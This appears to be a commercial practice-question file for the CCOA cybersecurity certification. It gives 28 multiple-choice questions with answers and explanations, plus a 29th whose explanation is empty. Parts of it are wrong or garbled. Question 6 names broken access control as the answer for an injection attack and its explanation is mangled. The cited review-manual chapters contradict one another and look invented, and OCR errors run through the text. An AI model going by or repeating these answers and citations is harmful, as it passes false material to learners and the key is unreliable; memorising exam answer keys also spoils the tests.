Atmic Networks

CERTIFICATION EXAM SUPPORT

EXAM PREPARATION MATERIAL

Practice files designed to help you understand exam patterns, question styles and the overall assessment format.

IMPORTANT NOTE

> **Please note that these files may not be up to date. However, the questions will help you understand the exam format and typical question patterns.**

Stay connected with our support team
for the latest file updates and exam-related information.

www.atmicnetworks.com

Knowledge that moves beyond memorization.

Question: 1

Which of the following is a PRIMARY risk that can be introduced through the use of a site-to-site virtual private network (VPN) with a service provider?

A. Loss of data integrity

B. Gaps in visibility to user behavior

C. Data exfiltration

D. Denial of service (DoS) attacks

Answer: B

Explanation:

Site-to-site VPNs establish secure, encrypted connections between two networks over the internet, typically used to link corporate networks with remote sites or a service provider's network. However, while these VPNs secure data transmission, they introduce specific risks.

The primary risk associated with a site-to-site VPN with a service provider is the loss of visibility into user behavior. Here's why:

Limited Monitoring: Since the traffic is encrypted and routed through the VPN tunnel, the organization may lose visibility over user activities within the service provider's network.

Blind Spots in Traffic Analysis: Security monitoring tools (like IDS/IPS) that rely on inspecting unencrypted data may be ineffective once data enters the VPN tunnel.

User Behavior Analytics (UBA) Issues: It becomes challenging to track insider threats or compromised accounts due to the encapsulation and encryption of network traffic.

Vendor Dependency: The organization might depend on the service provider's security measures to detect malicious activity, which may not align with the organization's security standards.

Other options analysis:

A . Loss of data integrity: VPNs generally ensure data integrity using protocols like IPsec, which validates packet integrity.

C . Data exfiltration: While data exfiltration can occur, it is typically a consequence of compromised credentials or insider threats, not a direct result of VPN usage.

D . Denial of service (DoS) attacks: While VPN endpoints can be targeted in a DoS attack, it is not the primary risk specific to VPN use with a service provider.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Security Operations: Discusses risks related to VPNs, including reduced visibility.

Chapter 7: Security Monitoring and Incident Detection: Highlights the importance of maintaining visibility even when using encrypted connections.

Chapter 8: Incident Response and Recovery: Addresses challenges related to VPN monitoring during incidents.

Question: 2

A bank employee is found to be exfiltration sensitive information by uploading it via email. Which of the following security measures would be MOST effective in detecting this type of insider threat?

A. Data loss prevention (DIP)

B. Intrusion detection system (IDS)

C. Network segmentation

D. Security information and event management (SIEM)

Answer: A

Explanation:

Data Loss Prevention (DLP) systems are specifically designed to detect and prevent unauthorized data transfers. In the context of an insider threat, where a bank employee attempts to exfiltrate sensitive information via email, DLP solutions are most effective because they:

Monitor Data in Motion: DLP can inspect outgoing emails for sensitive content based on pre-defined rules and policies.

Content Inspection and Filtering: It examines email attachments and the body of the message for patterns that match sensitive data (like financial records or PII).

Real-Time Alerts: Generates alerts or blocks the transfer when sensitive data is detected.

Granular Policies: Allows customization to restrict specific types of data transfers, including via email.

Other options analysis:

B . Intrusion detection system (IDS): IDS monitors network traffic for signs of compromise but is not designed to inspect email content or detect data exfiltration specifically.

C . Network segmentation: Reduces the risk of lateral movement but does not directly monitor or prevent data exfiltration through email.

D . Security information and event management (SIEM): SIEM can correlate events and detect anomalies but lacks the real-time data inspection that DLP offers.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Insider Threats and Mitigation: Discusses how DLP tools are essential for detecting data exfiltration.

Chapter 6: Threat Intelligence and Analysis: Covers data loss scenarios and the role of DLP.

Chapter 8: Incident Detection and Response: Explains the use of DLP for detecting insider threats.

Question: 3

Which of the following network topologies is MOST resilient to network failures and can prevent a single point of failure?

A. Mesh

B. Star

C. Bus

D. Ring

Answer: A

Explanation:

A mesh network topology is the most resilient to network failures because:

Redundancy: Each node is interconnected, providing multiple pathways for data to travel.

No Single Point of Failure: If one connection fails, data can still be routed through alternative paths.

High Fault Tolerance: The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.

Ideal for Critical Infrastructure: Often used in environments where uptime is critical, such as financial or emergency services networks.

Other options analysis:

B . Star: A central hub connects all nodes, so if the hub fails, the entire network collapses.

C . Bus: A single backbone cable means a break in the cable can disrupt the entire network.

D . Ring: Data travels in a circular path; a single break can isolate part of the network unless it is a dual-ring topology.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Security Operations: Discusses network topology and its impact on reliability and redundancy.

Chapter 9: Network Design and Architecture: Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.

Question: 4

Which of the following is MOST likely to result from a poorly enforced bring your own device (8YOD) policy?

A. Weak passwords

B. Network congestion

C. Shadow IT

D. Unapproved social media posts

Answer: C

Explanation:

A poorly enforced Bring Your Own Device (BYOD) policy can lead to the rise of Shadow IT, where employees use unauthorized devices, software, or cloud services without IT department approval. This often occurs because:

Lack of Policy Clarity: Employees may not be aware of which devices or applications are approved.

Absence of Monitoring: If the organization does not track personal device usage, employees may introduce unvetted apps or tools.

Security Gaps: Personal devices may not meet corporate security standards, leading to data leaks and vulnerabilities.

Data Governance Issues: IT departments lose control over data accessed or stored on unauthorized devices, increasing the risk of data loss or exposure.

Other options analysis:

A . Weak passwords: While BYOD policies might influence password practices, weak passwords are not directly caused by poor BYOD enforcement.

B . Network congestion: Increased device usage might cause congestion, but this is more of a performance issue than a security risk.

D . Unapproved social media posts: While possible, this issue is less directly related to poor BYOD policy enforcement.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 3: Asset and Device Management: Discusses risks associated with poorly managed BYOD policies.

Chapter 7: Threat Monitoring and Detection: Highlights how Shadow IT can hinder threat detection.

Question: 5

Which of the following roles typically performs routine vulnerability scans?

A. Incident response manager

B. Information security manager

C. IT auditor

D. IT security specialist

Answer: D

Explanation:

An IT security specialist is responsible for performing routine vulnerability scans as part of maintaining the organization's security posture. Their primary tasks include:

Vulnerability Assessment: Using automated tools to detect security flaws in networks, applications, and systems.

Regular Scanning: Running scheduled scans to identify new vulnerabilities introduced through updates or configuration changes.

Reporting: Analyzing scan results and providing reports to management and security teams.

Remediation Support: Working with IT staff to patch or mitigate identified vulnerabilities.

Other options analysis:

A . Incident response manager: Primarily focuses on responding to security incidents, not performing routine scans.

B . Information security manager: Manages the overall security program but does not typically conduct scans.

C . IT auditor: Reviews the effectiveness of security controls but does not directly perform scanning.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Vulnerability and Patch Management: Outlines the responsibilities of IT security specialists in conducting vulnerability assessments.

Chapter 8: Threat and Vulnerability Assessment: Discusses the role of specialists in maintaining security baselines.

Question: 6

An organization was breached via a web application attack to a database in which user inputs were not validated. This can BEST be described as which type of attack?

A. Broken access control

B. Infection

C. Buffer overflow

D. X-Path

Answer: A

Explanation:

The described scenario indicates a Injection (i) attack, where the attacker exploits insufficient input validation in a web application to manipulate queries. This type of attack falls under the category of Broken Access Control because:

Improper Input Handling: The application fails to properly sanitize or validate user inputs, allowing malicious commands to execute.

Direct Database Manipulation: Attackers can bypass normal authentication or gain elevated access by injecting code.

OWASP Top Ten 2021: Lists Broken Access Control as a critical risk, often leading to data breaches when input validation is weak.

Other options analysis:

B . Infection: Typically involves malware, which is not relevant here.

C . Buffer overflow: Involves memory management errors, not manipulation.

D . X-Path: Involves XML query manipulation, not databases.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Web Application Security: Discusses Injection as a common form of broken access control.

Chapter 9: Secure Coding and Development: Stresses the importance of input validation to prevent i.

Question: 7

Which of the following is a KEY difference between traditional deployment methods and continuous integration/continuous deployment (CI/CD)?

A. CI/CD decreases the frequency of updates.

B. CI/CD decreases the amount of testing.

C. CI/CD increases the number of errors.

D. CI/CD Increases the speed of feedback.

Answer: D

Explanation:

The key difference between traditional deployment methods and CI/CD (Continuous Integration/Continuous Deployment) is the speed and frequency of feedback during the software development lifecycle.

Traditional Deployment: Typically follows a linear, staged approach (e.g., development → testing → deployment), often resulting in slower feedback loops.

CI/CD Pipelines: Integrate automated testing and deployment processes, allowing developers to quickly identify and resolve issues.

Speed of Feedback: CI/CD tools automatically test code changes upon each commit, providing nearinstant feedback. This drastically reduces the time between code changes and error detection.

Rapid Iteration: Teams can immediately address issues, making the development process more efficient and resilient.

Other options analysis:

A . CI/CD decreases the frequency of updates: CI/CD actually increases the frequency of updates by automating the deployment process.

B . CI/CD decreases the amount of testing: CI/CD usually increases testing by integrating automated tests throughout the pipeline.

C . CI/CD increases the number of errors: Proper CI/CD practices reduce errors by catching them early.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 10: Secure DevOps and CI/CD Practices: Discusses how CI/CD improves feedback and rapid bug fixing.

Chapter 7: Automation in Security Operations: Highlights the benefits of automated testing in CI/CD

environments.

Question: 8

Exposing the session identifier in a URL is an example of which web application-specific risk?

A. Cryptographic failures

B. Insecure design and implementation

C. Identification and authentication failures

D. Broken access control

Answer: C

Explanation:

Exposing the session identifier in a URL is a classic example of an identification and authentication failure because:

Session Hijacking Risk: Attackers can intercept session IDs when exposed in URLs, especially through techniques like referrer header leaks or logs.

Session Fixation: If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.

OWASP Top Ten 2021 - Identification and Authentication Failures (A07): Exposing session identifiers makes it easier for attackers to impersonate users.

Secure Implementation: Best practices dictate storing session IDs in HTTP-only cookies rather than in URLs to prevent exposure.

Other options analysis:

A . Cryptographic failures: This risk involves improper encryption practices, not session management.

B . Insecure design and implementation: Broad category, but this specific flaw is more aligned with authentication issues.

D . Broken access control: Involves authorization flaws rather than authentication or session handling.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Web Application Security: Covers session management best practices and related vulnerabilities.

Chapter 8: Application Security Testing: Discusses testing for session-related flaws.

Question: 9

Cyber threat intelligence is MOST important for:

A. performing root cause analysis for cyber attacks.

B. configuring SIEM systems and endpoints.

C. recommending best practices for database security.

D. revealing adversarial tactics, techniques, and procedures.

Answer: D

Explanation:

Cyber Threat Intelligence (CTI) is primarily focused on understanding the tactics, techniques, and procedures (TTPs) used by adversaries. The goal is to gain insights into:

Attack Patterns: How cybercriminals or threat actors operate.

Indicators of Compromise (IOCs): Data related to attacks, such as IP addresses or domain names.

Threat Actor Profiles: Understanding motives and methods.

Operational Threat Hunting: Using intelligence to proactively search for threats in an environment.

Decision Support: Assisting SOC teams and management in making informed security decisions.

Other options analysis:

A . Performing root cause analysis for cyber attacks: While CTI can inform such analysis, it is not the primary purpose.

B . Configuring SIEM systems and endpoints: CTI can support configuration, but that is not its main function.

C . Recommending best practices for database security: CTI is more focused on threat analysis rather than specific security configurations.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Threat Intelligence and Analysis: Explains how CTI is used to reveal adversarial TTPs.

Chapter 9: Threat Intelligence in Incident Response: Highlights how CTI helps identify emerging threats.

Question: 10

Which of the following is the MOST effective way to obtain business owner approval of cybersecurity initiatives across an organisation?

A. Provide data classifications.

B. Create a steering committee.

C. Generate progress reports.

D. Conduct an Internal audit.

Answer: B

Explanation:

The most effective way to obtain business owner approval for cybersecurity initiatives is to create a steering committee that includes key stakeholders from different departments. This approach works because:

Inclusive Decision-Making: Involving business owners in a structured committee fosters collaboration and buy-in.

Alignment with Business Goals: A steering committee ensures that cybersecurity initiatives align with the organization's strategic objectives.

Regular Communication: Provides a formal platform to present cybersecurity challenges, proposed solutions, and progress updates.

Informed Decisions: Business owners are more likely to support initiatives when they understand the risks and benefits.

Consensus Building: A committee fosters a sense of ownership and shared responsibility for cybersecurity.

Other options analysis:

A . Provide data classifications: While useful for identifying data sensitivity, this alone does not directly gain approval.

C . Generate progress reports: These are informative but lack the strategic collaboration needed for decision-making.

D . Conduct an Internal audit: Helps assess current security posture but does not engage business owners proactively.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 2: Governance and Management: Discusses forming committees for cross-functional decision-making.

Chapter 5: Risk Management Strategies: Emphasizes stakeholder engagement through structured groups.

Question: 11

Target discovery and service enumeration would MOST likely be used by an attacker who has the initial objective of:

A. corrupting process memory, likely resulting in system Instability.

B. port scanning to identify potential attack vectors.

C. deploying and maintaining backdoor system access.

D. gaining privileged access in a complex network environment.

Answer: B

Explanation:

Target discovery and service enumeration are fundamental steps in the reconnaissance phase of an attack. An attacker typically:

Discovers Hosts and Services: Identifies active devices and open ports on a network.

Enumerates Services: Determines which services are running on open ports to understand possible entry points.

Identify Attack Vectors: Once services are mapped, attackers look for vulnerabilities specific to those services.

Tools: Attackers commonly use tools like Nmap or Masscan for port scanning and enumeration.

Other options analysis:

A . Corrupting process memory: Typically associated with exploitation rather than reconnaissance.

C . Deploying backdoors: This occurs after gaining access, not during the initial discovery phase.

D . Gaining privileged access: Typically follows successful exploitation, not discovery.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Threat Hunting and Reconnaissance: Covers methods used for identifying attack surfaces.

Chapter 8: Network Scanning Techniques: Details how attackers use scanning tools to identify open ports and services.

Question: 12

Which of the following is the MOST effective approach for tracking vulnerabilities in an organization's systems and applications?

A. Walt for external security researchers to report vulnerabilities

B. Rely on employees to report any vulnerabilities they encounter.

C. Implement regular vulnerability scanning and assessments.

D. Track only those vulnerabilities that have been publicly disclosed.

Answer: C

Explanation:

The most effective approach to tracking vulnerabilities is to regularly perform vulnerability scans and assessments because:

Proactive Identification: Regular scanning detects newly introduced vulnerabilities from software updates or configuration changes.

Automated Monitoring: Modern scanning tools (like Nessus or OpenVAS) can automatically identify vulnerabilities in systems and applications.

Assessment Reports: Provide prioritized lists of discovered vulnerabilities, helping IT teams address the most critical issues first.

Compliance and Risk Management: Routine scans are essential for maintaining security baselines and compliance with standards (like PCI-DSS or ISO 27001).

Other options analysis:

A . Wait for external reports: Reactive and risky, as vulnerabilities might remain unpatched.

B . Rely on employee reporting: Inconsistent and unlikely to cover all vulnerabilities.

D . Track only public vulnerabilities: Ignores zero-day and privately disclosed issues.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Vulnerability Management: Emphasizes continuous scanning as a critical part of risk mitigation.

Chapter 9: Security Monitoring Practices: Discusses automated scanning and vulnerability tracking.

Question: 13

A small organization has identified a potential risk associated with its outdated backup system and has decided to implement a new cloud-based real-time backup system to reduce the likelihood of data loss.

Which of the following risk responses has the organization chosen?

A. Risk mitigation

B. Risk avoidance

C. Risk transfer

D. Risk acceptance

Answer: A

Explanation:

The organization is implementing a new cloud-based real-time backup system to reduce the likelihood of data loss, which is an example of risk mitigation because:

Reducing Risk Impact: By upgrading from an outdated system, the organization minimizes the potential

consequences of data loss.

Implementing Controls: The new backup system is a proactive control measure designed to decrease the risk.

Enhancing Recovery Capabilities: Real-time backups ensure that data remains intact and recoverable even in case of a failure.

Other options analysis:

B . Risk avoidance: Involves eliminating the risk entirely, not just reducing it.

C . Risk transfer: Typically involves shifting the risk to a third party (like insurance), not implementing technical controls.

D . Risk acceptance: Involves acknowledging the risk without implementing changes.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Risk Management: Clearly differentiates between mitigation, avoidance, transfer, and acceptance.

Chapter 7: Backup and Recovery Planning: Discusses modern data protection strategies and their risk implications.

Question: 14

Which of the following is the BEST way for an organization to balance cybersecurity risks and address compliance requirements?

A. Accept that compliance requirements may conflict with business needs and operate in a diminished capacity to achieve compliance.

B. Meet the minimum standards for the compliance requirements to ensure minimal impact to business operations,

C. Evaluate compliance requirements in the context at business objectives to ensure requirements can be implemented appropriately.

D. Implement only the compliance requirements that do not Impede business functions or affect cybersecurity risk.

Answer: C

Explanation:

Balancing cybersecurity risks with compliance requirements requires a strategic approach that aligns security practices with business goals. The best way to achieve this is to:

Contextual Evaluation: Assess compliance requirements in relation to the organization's operational needs and objectives.

Risk-Based Approach: Instead of blindly following standards, integrate them within the existing risk management framework.

Custom Implementation: Tailor compliance controls to ensure they do not hinder critical business functions while maintaining security.

Stakeholder Involvement: Engage business units to understand how compliance can be integrated smoothly.

Other options analysis:

A . Accept compliance conflicts: This is a defeatist approach and does not resolve the underlying issue.

B . Meet minimum standards: This might leave gaps in security and does not foster a comprehensive risk-based approach.

D . Implement only non-impeding requirements: Selectively implementing compliance controls can lead to critical vulnerabilities.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 2: Governance and Risk Management: Discusses aligning compliance with business objectives.

Chapter 5: Risk Management Strategies: Emphasizes a balanced approach to security and compliance.

Question: 15

Which of the following MOST effectively minimizes the impact of a control failure?

A. Business continuity plan [BCP

B. Business impact analysis (B1A)

C. Defense in depth

D. Information security policy

Answer: C

Explanation:

The most effective way to minimize the impact of a control failure is to employ Defense in Depth, which involves:

Layered Security Controls: Implementing multiple, overlapping security measures to protect assets.

Redundancy: If one control fails (e.g., a firewall), others (like IDS, endpoint protection, and network monitoring) continue to provide protection.

Minimizing Single Points of Failure: By diversifying security measures, no single failure will compromise the entire system.

Adaptive Security Posture: Layered defenses allow quick adjustments and contain threats.

Other options analysis:

A . Business continuity plan (BCP): Focuses on maintaining operations after an incident, not directly on minimizing control failures.

B . Business impact analysis (BIA): Identifies potential impacts but does not reduce failure impact directly.

D . Information security policy: Guides security practices but does not provide practical mitigation during a failure.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Defense in Depth Strategies: Emphasizes the importance of layering controls to reduce failure impacts.

Chapter 9: Incident Response and Mitigation: Explains how defense in depth supports resilience.

Question: 16

Which of the following is the PRIMARY purpose for an organization to adopt a cybersecurity framework?

A. To ensure compliance with specific regulations

B. To automate cybersecurity processes and reduce the need for human intervention

C. To provide a standardized approach to cybetsecurity risk management

D. To guarantee protection against possible cyber threats

Answer: C

Explanation:

The primary purpose of adopting a cybersecurity framework is to establish a standardized approach to managing cybersecurity risks.

Consistency: Provides a structured methodology for identifying, assessing, and mitigating risks.

Best Practices: Incorporates industry standards and practices (e.g., NIST, ISO/IEC 27001) to guide security programs.

Holistic Risk Management: Helps organizations systematically address vulnerabilities and threats.

Compliance and Assurance: While compliance may be a secondary benefit, the primary goal is risk management and structured security.

Other options analysis:

A . To ensure compliance: While frameworks can aid compliance, their main purpose is risk management, not compliance itself.

B . To automate processes: Frameworks may encourage automation, but automation is not their core purpose.

D . To guarantee protection: No framework can guarantee complete protection; they reduce risk, not eliminate it.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 3: Cybersecurity Frameworks and Standards: Discusses the primary purpose of frameworks in risk management.

Chapter 10: Governance and Policy: Covers how frameworks standardize security processes.

Question: 17

Which of the following is the GREATEST risk resulting from a Domain Name System (DNS) cache poisoning attack?

A. Reduced system availability

B. Noncompliant operations

C. Loss of network visibility

D. Loss of sensitive data

Answer: D

Explanation:

The greatest risk resulting from a DNS cache poisoning attack is the loss of sensitive data. Here's why:

DNS Cache Poisoning: An attacker corrupts the DNS cache to redirect users from legitimate sites to malicious ones.

Phishing and Data Theft: Users think they are accessing legitimate websites (like banking portals) but are unknowingly entering sensitive data into fake sites.

Man-in-the-Middle (MitM) Attacks: Attackers can intercept data traffic, capturing credentials or personal information.

Data Exfiltration: Once credentials are stolen, attackers can access internal systems, leading to data loss.

Other options analysis:

A . Reduced system availability: While DNS issues can cause outages, this is secondary to data theft in poisoning scenarios.

B . Noncompliant operations: While potential, this is not the primary risk.

C . Loss of network visibility: Unlikely since DNS poisoning primarily targets user redirection, not network visibility.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Security Operations: Discusses DNS attacks and their potential consequences.

Chapter 8: Threat Detection and Incident Response: Details how DNS poisoning can lead to data compromise.

Question: 18

Which of the following is foundational for implementing a Zero Trust model?

A. Comprehensive process documentation

B. Robust network monitoring

C. Routine vulnerability and penetration testing

D. Identity and access management (IAM) controls

Answer: D

Explanation:

Implementing a Zero Trust model fundamentally requires robust Identity and Access Management (IAM) controls because:

Zero Trust Principles: Never trust, always verify; enforce least privilege.

Identity-Centric Security: Strong IAM practices ensure that only authenticated and authorized users can access resources.

Multi-Factor Authentication (MFA): Verifying user identities at each access point.

Granular Access Control: Assigning minimal necessary privileges based on verified identity.

Continuous Monitoring: Continuously assessing user behavior and access patterns.

Other options analysis:

A . Comprehensive process documentation: Helpful but not foundational for Zero Trust.

B . Robust network monitoring: Supports Zero Trust but is not the core principle.

C . Routine vulnerability and penetration testing: Important for security but not specifically for Zero Trust.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Access Control and Identity Management: Emphasizes the role of IAM in Zero Trust architecture.

Chapter 10: Secure Network Architecture: Discusses how Zero Trust integrates IAM.

Question: 19

During a post-mortem incident review meeting, it is noted that a malicious attacker attempted to achieve network persistence by using vulnerabilities that appeared to be lower risk but ultimately allowed the

attacker to escalate their privileges. Which of the following did the attacker MOST likely apply?

A. Exploit chaining

B. Brute force attack

C. Cross-site scripting

D. Deployment of rogue wireless access points

Answer: A

Explanation:

Exploit chaining involves combining multiple lower-severity vulnerabilities to escalate privileges or gain persistence in a network. The attacker:

Combines Multiple Exploits: Uses interconnected vulnerabilities that, individually, seem low-risk but together form a critical threat.

Privilege Escalation: Gains elevated access by chaining exploits, often bypassing security measures.

Persistence Mechanism: Once privilege is gained, attackers establish long-term control.

Advanced Attacks: Typically seen in advanced persistent threats (APTs) where the attacker meticulously combines weaknesses.

Other options analysis:

B . Brute force attack: Involves password guessing, not chaining vulnerabilities.

C . Cross-site scripting: Focuses on injecting malicious scripts, unrelated to privilege escalation.

D . Rogue wireless access points: Involves unauthorized devices, not exploit chaining.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Attack Techniques and Vectors: Describes exploit chaining and its strategic use.

Chapter 9: Incident Analysis: Discusses how attackers combine low-risk vulnerabilities for major impact.

Question: 20

An organization uses containerization for its business application deployments, and all containers run on the same host, so they MUST share the same:

A. user data.

B. database.

C. operating system.

D. application.

Answer: C

Explanation:

In a containerization environment, all containers running on the same host share the same operating system kernel because:

Container Architecture: Containers virtualize at the OS level, unlike VMs, which have separate OS instances.

Shared Kernel: The host OS kernel is shared across all containers, which makes container deployment lightweight and efficient.

Isolation through Namespaces: While processes are isolated, the underlying OS remains the same.

Docker Example: A Docker host running Linux containers will only support other Linux-based containers, as they share the Linux kernel.

Other options analysis:

A . User data: Containers may share volumes, but this is configurable and not a strict requirement.

B . Database: Containers can connect to the same database but don't necessarily share one.

D . Application: Containers can run different applications even when sharing the same host.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 10: Secure DevOps and Containerization: Discusses container architecture and kernel sharing.

Chapter 9: Secure Systems Configuration: Explains how container environments differ from virtual machines.

Question: 21

Which of the following MOST directly supports the cybersecurity objective of integrity?

A. Data backups

B. Digital signatures

C. Least privilege

D. Encryption

Answer: B

Explanation:

The cybersecurity objective of integrity ensures that data is accurate, complete, and unaltered. The most direct method to support integrity is the use of digital signatures because:

Tamper Detection: A digital signature provides a way to verify that data has not been altered after signing.

Authentication and Integrity: Combines cryptographic hashing and public key encryption to validate both the origin and the integrity of data.

Non-Repudiation: Ensures that the sender cannot deny having sent the message.

Use Case: Digital signatures are commonly used in secure email, software distribution, and document verification.

Other options analysis:

A . Data backups: Primarily supports availability, not integrity.

C . Least privilege: Supports confidentiality by limiting access.

D . Encryption: Primarily supports confidentiality by protecting data from unauthorized access.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Data Integrity Mechanisms: Discusses the role of digital signatures in preserving data integrity.

Chapter 8: Cryptographic Techniques: Explains how signatures authenticate data.

Question: 22

Which of the following is the BEST method for hardening an operating system?

A. Implementing a host Intrusion detection system (HIOS)

B. Manually signing all drivers and applications

C. Removing unnecessary services and applications

D. Applying only critical updates

Answer: C

Explanation:

The best method for hardening an operating system is to remove unnecessary services and applications because:

Minimizes Attack Surface: Reduces the number of potential entry points for attackers.

Eliminates Vulnerabilities: Unused or outdated services may contain unpatched vulnerabilities.

Performance Optimization: Fewer active services mean reduced resource consumption.

Best Practice: Follow the principle of minimal functionality to secure operating systems.

Security Baseline: After cleanup, the system is easier to manage and monitor.

Other options analysis:

A . Implementing a HIDS: Helps detect intrusions but does not inherently harden the OS.

B . Manually signing drivers: Ensures authenticity but doesn't reduce the attack surface.

D . Applying only critical updates: Important but insufficient on its own. All relevant updates should be applied.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 9: Secure System Configuration: Emphasizes the removal of non-essential components for system hardening.

Chapter 7: Endpoint Security Best Practices: Discusses minimizing services to reduce risk.

Question: 23

Which of the following roles is responsible for approving exceptions to and deviations from the incident

management team charter on an ongoing basis?

A. Security steering group

B. Cybersecurity analyst

C. Chief information security officer (CISO)

D. Incident response manager

Answer: C

Explanation:

The CISO is typically responsible for approving exceptions and deviations from the incident management team charter because:

Strategic Decision-Making: As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.

Policy Oversight: The CISO ensures that any exceptions align with organizational security policies.

Incident Management Governance: As part of risk management, the CISO is involved in high-level decisions impacting incident response.

Other options analysis:

A . Security steering group: Advises on strategy but does not typically approve operational deviations.

B . Cybersecurity analyst: Executes tasks rather than making executive decisions.

D . Incident response manager: Manages day-to-day operations but usually does not approve policy deviations.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 2: Security Governance: Defines the role of the CISO in managing incident-related exceptions.

Chapter 8: Incident Management Policies: Discusses decision-making authority within incident response.

Question: 24

Which of the following would BCST enable an organization to prioritize remediation activities when multiple vulnerabilities are identified?

A. Business Impact analysis (BIA)

B. Vulnerability exception process

C. executive reporting process

D. Risk assessment

Answer: D

Explanation:

A risk assessment enables organizations to prioritize remediation activities when multiple vulnerabilities are identified because:

Contextual Risk Evaluation: Assesses the potential impact and likelihood of each vulnerability.

Prioritization: Helps determine which vulnerabilities pose the highest risk to critical assets.

Resource Allocation: Ensures that remediation efforts focus on the most significant threats.

Data-Driven Decisions: Uses quantitative or qualitative metrics to support prioritization.

Other options analysis:

A . Business Impact Analysis (BIA): Focuses on the impact of business disruptions, not directly on vulnerabilities.

B . Vulnerability exception process: Manages known risks but does not prioritize them.

C . Executive reporting process: Summarizes security posture but does not prioritize remediation.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Risk Assessment Techniques: Emphasizes the importance of risk analysis in vulnerability management.

Chapter 7: Prioritizing Vulnerability Remediation: Guides how to rank threats based on risk.

Question: 25

Which of the following cyber crime tactics involves targets being contacted via text message by an attacker posing as a legitimate entity?

A. Hacking

B. Vishing

C. Smishing

D. Cyberstalking

Answer: C

Explanation:

Smishing (SMS phishing) involves sending malicious text messages posing as legitimate entities to trick individuals into disclosing sensitive information or clicking malicious links.

Social Engineering via SMS: Attackers often impersonate trusted institutions (like banks) to induce fear or urgency.

Tactics: Typically include fake alerts, password reset requests, or promotional offers.

Impact: Users may unknowingly provide login credentials, credit card information, or download malware.

Example: A message claiming to be from a bank asking users to verify their account by clicking a link.

Other options analysis:

A . Hacking: General term, does not specifically involve SMS.

B . Vishing: Voice phishing via phone calls, not text messages.

D . Cyberstalking: Involves persistent harassment rather than deceptive messaging.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Social Engineering Tactics: Explores phishing variants, including smishing.

Chapter 8: Threat Intelligence and Attack Techniques: Details common social engineering attack vectors.

Question: 26

A penetration tester has been hired and given access to all code, diagrams, and documentation. Which type of testing is being conducted?

A. Full knowledge

B. Unlimited scope

C. No knowledge

D. Partial knowledge

Answer: A

Explanation:

The scenario describes a penetration testing approach where the tester is given access to all code, diagrams, and documentation, which is indicative of a Full Knowledge (also known as White Box) testing methodology.

Characteristics:

Comprehensive Access: The tester has complete information about the system, including source

code, network architecture, and configurations.

Efficiency: Since the tester knows the environment, they can directly focus on finding vulnerabilities without spending time on reconnaissance.

Simulates Insider Threats: Mimics the perspective of an insider or a trusted attacker with full access.

Purpose: To thoroughly assess the security posture from an informed perspective and identify vulnerabilities efficiently.

Other options analysis:

B . Unlimited scope: Scope typically refers to the range of testing activities, not the knowledge level.

C . No knowledge: This describes Black Box testing where no prior information is given.

D . Partial knowledge: This would be Gray Box testing, where some information is provided.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 8: Penetration Testing Methodologies: Differentiates between full, partial, and noknowledge testing approaches.

Chapter 9: Security Assessment Techniques: Discusses how white-box testing leverages complete information for in-depth analysis.

Question: 27

As part of a penetration testing program, which team facilitates education and training of architects and developers to encourage better security and awareness?

A. Orange team

B. Red team

C. Green team

D. Yellow team

Answer: A

Explanation:

The Orange team plays a crucial role in the education and training of architects and developers to promote better security awareness.

Focus: Bridges the gap between offensive security (Red Team) and defensive security (Blue Team) by translating security testing results into actionable insights.

Training and Awareness: Educates developers on secure coding practices and common vulnerabilities.

Collaboration: Works with both offensive and defensive teams to improve security measures from a development perspective.

Outcome: Helps architects and developers integrate secure practices into the software development lifecycle (SDLC).

Other options analysis:

B . Red team: Focuses on offensive operations to find vulnerabilities.

C . Green team: No standard role exists by this name in the typical security team taxonomy.

D . Yellow team: Not commonly used as a formal designation.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Red, Blue, and Orange Team Operations: Discusses the role of the Orange team in fostering secure development practices.

Chapter 10: Secure Development Training: Highlights the importance of educating development teams.

Question: 28

Which layer of the TCP/IP stack promotes the reliable transmission of data?

A. Link

B. Internet

C. Application

D. Transport

Answer: D

Explanation:

The Transport layer of the TCP/IP stack is responsible for the reliable transmission of data between hosts.

Protocols: Includes TCP (Transmission Control Protocol) and UDP (User Datagram Protocol).

Reliable Data Delivery: TCP ensures data integrity and order through sequencing, error checking, and acknowledgment.

Flow Control and Congestion Handling: Uses mechanisms like windowing to manage data flow efficiently.

Connection-Oriented Communication: Establishes a session between sender and receiver for reliable data transfer.

Other options analysis:

A . Link: Deals with physical connectivity and media access.

B . Internet: Handles logical addressing and routing.

C . Application: Facilitates user interactions and application-specific protocols (like HTTP, FTP).

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Protocols and Layers: Details the role of the Transport layer in reliable data transmission.

Chapter 6: TCP/IP Protocol Suite: Explains the functions of each layer.

Question: 29

Which of the following has been defined when a disaster recovery plan (DRP) requires daily backups?

A. Maximum tolerable downtime (MTD)

B. Recovery time objective (RTO|

C. Recovery point objective {RPO)

D. Mean time to failure (MTTF)

Answer: C

Explanation:

